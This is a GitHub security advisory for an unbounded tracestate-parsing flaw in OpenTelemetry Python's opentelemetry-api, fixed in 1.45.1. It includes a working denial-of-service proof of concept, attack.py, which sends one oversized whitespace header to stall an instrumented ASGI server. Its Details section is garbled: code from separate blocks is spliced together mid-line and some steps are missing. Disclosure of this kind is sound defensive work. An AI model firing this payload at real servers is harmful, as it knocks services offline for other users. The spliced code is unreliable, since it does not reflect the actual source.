GitHub Advisoryadvisory · PyPI
GHSA-xcq7-p3pf-p88h OpenTelemetry Python: Unbounded tracestate parsing in opentelemetry-api
MEDIUM
Official page ↗
- Aliases
- CVE-2026-114603
- Ecosystem
- PyPI
- Packages
- opentelemetry-api
- Severity
- Moderate
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-1333, CWE-400
- Reviewed
- 2026-10-22
Affected packages
• PyPI opentelemetry-api: < 1.45.1 → fixed in 1.45.1
Description
Summary
`TraceState.from_header` splits the inbound W3C `tracestate` header with a regular expression that starts with an unbounded optional-whitespace run, and no length limit is applied first. A run of spaces or tabs that is not followed by a comma costs O(N²) CPU. A single unauthenticated request with a ~100 KB `tracestate` keeps the handling worker busy for ~6 s (spaces) to ~12 s (tabs); under an asyncio server it blocks every other connection for that time.
Affected component / version
• Package: `opentelemetry-api` (pip) — `opentelemetry/trace/span.py` (`TraceState.from_header`), reached from `opentelemetry/trace/propagation/tracecontext.py` (`TraceContextTextMapPropagator.extract`).
• Confirmed in `main` (5e8083e8) and in the v1.44.0 and v1.45.0 tags; the same pattern is present back to v1.0.0 (introduced by #1599, March 2021). Not exhaustively verified against every release in between.
• Reachable with the default propagators (`OTEL_PROPAGATORS` defaults to `tracecontext,baggage`) from any server instrumentation that calls `propagate.extract()`, for example `opentelemetry-instrumentation-asgi`.
Details
1. The header reaches the parser without any length check:
```python
opentelemetry-api/src/opentelemetry/trace/propagation/tracecontext.py:57
tracestate_headers = getter.get(carrier, self._TRACESTATE_HEADER_NAME) # TraceState:
pairs = {} # type: dict[str, str]
for header in header_list:
members: list[str] = re.split(_delimiter_pattern, header) # self._MAX_HEADER_LENGTH: # 7} characters {elapsed:6.2f} s growth when size doubles: {growth}")
previous = elapsed
```
3. Run `python poc_tracestate.py`.
4. What to observe: the time grows by about ×4 every time the input size doubles (a linear parser would show ×2). Absolute numbers depend on the CPU; the growth factor does not. Our run:
```
10000 characters 0.06 s growth when size doubles: -
20000 characters 0.26 s growth when size doubles: x4.0
40000 characters 1.04 s growth when size doubles: x4.0
80000 characters 4.13 s growth when size doubles: x4.0
```
Replace `" "` with `"\t"` to see ≈1.6× longer.
B. Show that one request stalls a real server
This uses `OpenTelemetryMiddleware` from `opentelemetry-instrumentation-asgi` around a trivial ASGI app and the default `uvicorn[standard]` parser (httptools).
1. Install: `pip install opentelemetry-api opentelemetry-instrumentation-asgi "uvicorn[standard]"`.
2. Save as `app.py`:
```python
from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware
async def app(scope, receive, send):
await send({"type": "http.response.start", "status": 200, "headers": [(b"content-type", b"text/plain")]})
await send({"type": "http.response.body", "body": b"ok"})
app = OpenTelemetryMiddleware(app)
```
3. Start the server in one terminal: `uvicorn app:app --host 127.0.0.1 --port 8000 --http httptools`
4. Save as `attack.py`:
```python
"""Send one oversized tracestate request and, while it is being handled,
measure how long an unrelated request to the same server has to wait."""
import socket
import sys
import threading
import time
HOST, PORT = "127.0.0.1", 8000
N = int(sys.argv[1]) if len(sys.argv) > 1 else 100_000
TRACEPARENT = "00-0af7651916cd43dd8448eb211c80319c-b7ad6b7169203331-01"
def get(path, extra=""):
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(f"GET {path} HTTP/1.1\r\nHost: x\r\nConnection: close\r\n{extra}\r\n".encode())
start, data = time.perf_counter(), b""
while chunk := s.recv(65536):
data += chunk
return time.perf_counter() - start, data.split(b"\r\n")[0].decode()
result = {}
extra = f"traceparent: {TRACEPARENT}\r\ntracestate: a=b{' ' * N}x\r\n"
attacker = threading.Thread(target=lambda: result.update(a=get("/attack", extra)))
print("idle /ping: %.3f s %s" % get("/ping"))
attacker.start()
time.sleep(0.5) # let the attack request reach the server first
print("/ping during the attack: %.3f s %s" % get("/ping"))
attacker.join()
print("attack request itself: %.3f s %s" % result["a"])
```
5. In a second terminal run `python attack.py 100000`.
6. What to observe: the idle `/ping` answers in milliseconds, but a `/ping` sent half a second *after* the attack request has to wait for the attack request to finish, even though it is a different, innocent request. Our run:
```
idle /ping: 0.000 s HTTP/1.1 200 OK
/ping during the attack: 5.909 s HTTP/1.1 200 OK <-- …
Related
Alias · CVE (1)
- CVE-2026-114603 OpenTelemetry Python provides the Python API and SDK for OpenTelemetry. vulnerability
References
- https://github.com/open-telemetry/opentelemetry-python/security/advisories/GHSA-xcq7-p3pf-p88h web
- https://github.com/open-telemetry/opentelemetry-python/pull/5749 web
- https://github.com/open-telemetry/opentelemetry-python/commit/d5224bf4ffdf2aee1b592ad238dcc32ca957f26b web
- https://github.com/open-telemetry/opentelemetry-python package
- https://github.com/open-telemetry/opentelemetry-python/blob/main/CHANGELOG.md#version-1451066b1-2026-10-06 web
- https://github.com/open-telemetry/opentelemetry-python/releases/tag/v1.45.1 web